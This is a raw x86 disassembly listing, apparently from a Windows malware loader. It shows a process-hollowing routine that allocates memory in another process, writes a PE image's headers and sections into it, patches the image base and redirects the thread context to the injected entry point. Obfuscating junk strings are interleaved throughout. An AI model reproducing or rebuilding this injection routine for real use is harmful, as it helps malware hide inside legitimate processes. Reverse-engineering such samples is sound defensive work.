mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x403117
mov byte [ebp - 0x85d], 1
jmp 0x40311e
mov byte [ebp - 0x85d], 0
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x87d], al
mov dword [ebp - 0x8b4], 0x42efc8
mov ecx, dword [ebp - 0x864]
mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x403196
mov dword [ebp - 0x8d4], 0x42f7a8
mov dword [ebp - 0x884], 0
mov dword [ebp - 0x8bc], str.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
call fcn.00405a50
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x8e4], 0x430758
mov eax, dword [ebp - 0x85c]
push eax
mov ecx, dword [0x447644]
push ecx
call dword [ebp - 0x884]
mov dword [ebp - 0x8c4], 0x430f30
mov dword [ebp - 0x898], str.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
call dword [sym.imp.KERNEL32.dll_GetLastError]
add eax, str._t4_if3
push eax
call fcn.00405bb0
add esp, 4
mov dword [ebp - 0x870], 0
push 0x40
push 0x3000
mov edx, dword [ebp - 0x864]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x864]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x8a0], str.W1LvDsDGY7ITMTJ1Vejbxp3d4DfTYbSjTuICUOsKJvB4sw0qOIgIWhjG8IA9nTSWoz9slghgWJBbY8UINZep5kwMkbEmnsw0MPQ3PcZznCqargSwF4if4A1XKalpUaqGS82bzvV1L3JvepjvEkhEMkzKCebP0JOnlTstoR6kirEb0GTv00VK3W3HJrIvtgabowju60hXtgL9cwN3E9M63pdtJuwr5ZGYsuVkw0fWVOJGsxkSxQSABcxs0gYbguWEKXRRKDHO30kpQGalkN3pggxp7CtqbePB1f6FQCh4jeGLu2AEgrRE9bD2Utt52oICa4b1IkemNuskQOJG7cnqgRnY0yGB4lOibKpA1I56mE1PSsmgTW70brwsRnbkNMrBPjifzjPzgqdM0HfHX1tn9flq9jneWmECFXnPvjQ0fkpO0Xqujlx3hNjJBkc5VrvMXfP9Iy2NlChZZHzm325LYKu1ONnlgVeYYM1ViqWVsTSOGtT4U0b2kP6PK5corhVFtZMUEMYBh58r49OrtowaLe5n71NNLFEkA37qFxQhhVbpQOULqV4dVU4o4yXN9k0MAY1abxV5Io2ZcQGsgbx0KBzPRa8xnBq2xjBIzDDWKsVAgSfxeq1j3g1KgkWeHifXdGmGMfstyVIB0B695Ls7Kh8rr1BpQypBn8wKFIV97HViHATPnXj5Zim6H5oVhzObbRdINQEuuRCfYTXYBFBfSGVDrf21gO6Ru7enHtJzGnipCUKQe5yM8ItF6KrIYNnPUUV0OKri5bIExFbGEmXkpuTVOJr7bbK3E9XKd8SpjsVNczBHab2gzdkzx2SlZ4fzQ2CCwiKdSTfYC6pXvQqQZvhAZxnlpGApmv7j78k1AYyQ8v7AM50jNzKuVbM95zXmtZLgqMECxbdkrtjr2WffeDQDckPKBZ6gwMmUiRaynhtAjGwr5CzTNHl797sf74aHf7YOgyilVR26jptFYxP9AmDZBpUky5AthWvmSRlGAzwHozO5jAqCMToI7zuaap96k1mXcpYmGE9xXl2aYZophtizcGvv2AnlzAxxm134Le6iU0UVHumkbUY0SXUF3DtgqY7xXFY75tOdd90k03AWRIwrnJOnBWN9K3IeSxBhA1zKdz6peU3eWlfLl1MMnJYAzDgkBWCCCtvZjWoXMyiQ3ImzX620VZ30d8kKtWYssAMDZqCzcAcQ1V0Rpj1434Am2EV8t7IORzGCn6dOafizZF1VnfF53MXqMMxV0wmf2y8CpyDsfn3YVbwxN9VnBMVfLpZLIsYO3dGBGyGZMmZQittn4oPOdUO3E0P94vREBNoJzH6rYA7w0awQrOmiERyIXaAxv66MTPzFfTXwsy0MXrcED8SpiJaToPWyhJ52EuMkK1KI000f1VVFsspZLG2BKP99AIjScZLEzkPsoEP3c4k8AV9zSzJ6EKk52j2Tdt7VTe8hM7Kh19yQEbIOJTaMqP9Z9TAeL5ZT7zovW1WVYCfEmEB00qbfSlZcZgibhuPxdiNhz8fn8Kd9ZEANmCYsSOpSBDEekig2mSsgDBL1lXhhh0mvPEYPGwOz34Q5EbcZEkWhmukU06h5GiKKriyQVxohK8IMPmbZyptnfKcXCXZ7orsRgco9Gq1FDsJu2zXo4QzSJHF4zoa8Iq3tQ0FM7btiyXTWbS4d9LcH1JiIHtJrp27nzqNb3lq3YbEQzcLs612MSJVYZe6T6mCOqCmILj7idubZsDH5EpQKzonQBmMnGwwMI0z60dQW4UJyH6GwHboQG1pcpGgzHULR7zqCdKfBJ3QON1XkEmNLD93KMiri2xoD57oagyd19zFm2nsn4JFjDGQ9YciqQJQ80V5QNXdfiVMeERSyZdns2e9zqomepWlzSHvgrMKhGAaR3MEgsN48lD4ZceNgolw7EdYfjKxdu6F6nrlDpjJLSD7xCyBX3DNrtKqRynpRq0Oo78LU3j1fLVpafBNUjJj0soNNbEfb31u1YSzEWQ4T
cmp dword [ebp - 0x870], 0
je 0x403373
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x8a8], ecx
push 0
mov edx, dword [ebp - 0x864]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x870]
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x874], 0
jmp 0x403249
mov ecx, dword [ebp - 0x874]
add ecx, 1
mov dword [ebp - 0x874], ecx
mov edx, dword [ebp - 0x864]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x874], eax
jge 0x4032d6
mov dword [ebp - 0x8b0], str.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
mov ecx, dword [ebp - 0x87c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 0x874]
imul eax, eax, 0x28
lea ecx, [edx + eax + 0xf8]
mov dword [ebp - 0x878], ecx
mov dword [ebp - 0x8b8], 0x432e90
push 0
mov edx, dword [ebp - 0x878]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x878]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x878]
mov ecx, dword [ebp - 0x870]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [0x447644]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x8c0], str.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
jmp 0x40323a
push 0
push 4
mov eax, dword [ebp - 0x864]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x864]
mov edx, dword [ebp - 0x870]
add edx, dword [ecx + 0x28]
mov eax, dword [ebp - 0x86c]
mov dword [eax + 0xb0], edx
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x447648]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x8c8], str.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
push str._tva_a_lanzar
call fcn.00405bb0
add esp, 4
mov dword [ebp - 0x8d0], str.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
mov byte [ebp - 0x865], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00402860
mov al, byte [ebp - 0x865]
jmp 0x403391
